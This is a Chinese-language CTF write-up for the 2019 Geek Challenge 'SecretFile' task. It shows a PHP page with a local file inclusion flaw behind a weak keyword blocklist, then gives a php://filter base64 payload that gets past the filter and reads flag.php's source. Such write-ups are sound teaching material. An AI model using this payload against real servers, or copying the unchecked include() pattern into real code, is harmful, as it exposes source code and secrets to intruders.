极客大挑战2019SecretFile
Created At :
Count:387
Views 👀 :
首先打开题目,啥也没发现

检查源代码,发现一个Archive_room.php,点击看看

出现一个点击按钮,点击看看

除此之外没有别的线索了

按照提示回到上一个页面抓包,发现一个新的php

进去之后就是如下代码。

接下来代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!"; exit(); } include($file);
?> </html>
这是很明显的文件包含漏洞
|
发现没有过滤掉flag,尝试一下file=flag.php,发现确实进去了但是不显示

发现没有过滤伪协议,伪协议以及文件包含漏洞相关知识:https://blog.csdn.net/m0_46467017/article/details/126380415
1
| php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
|
于是构造payload如下:
1
| file=php://filter/read=convert.base64-encode/resource=flag.php
|
得到flag.php源码的base64加密:

将base64加密的源码解码得到flag:

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。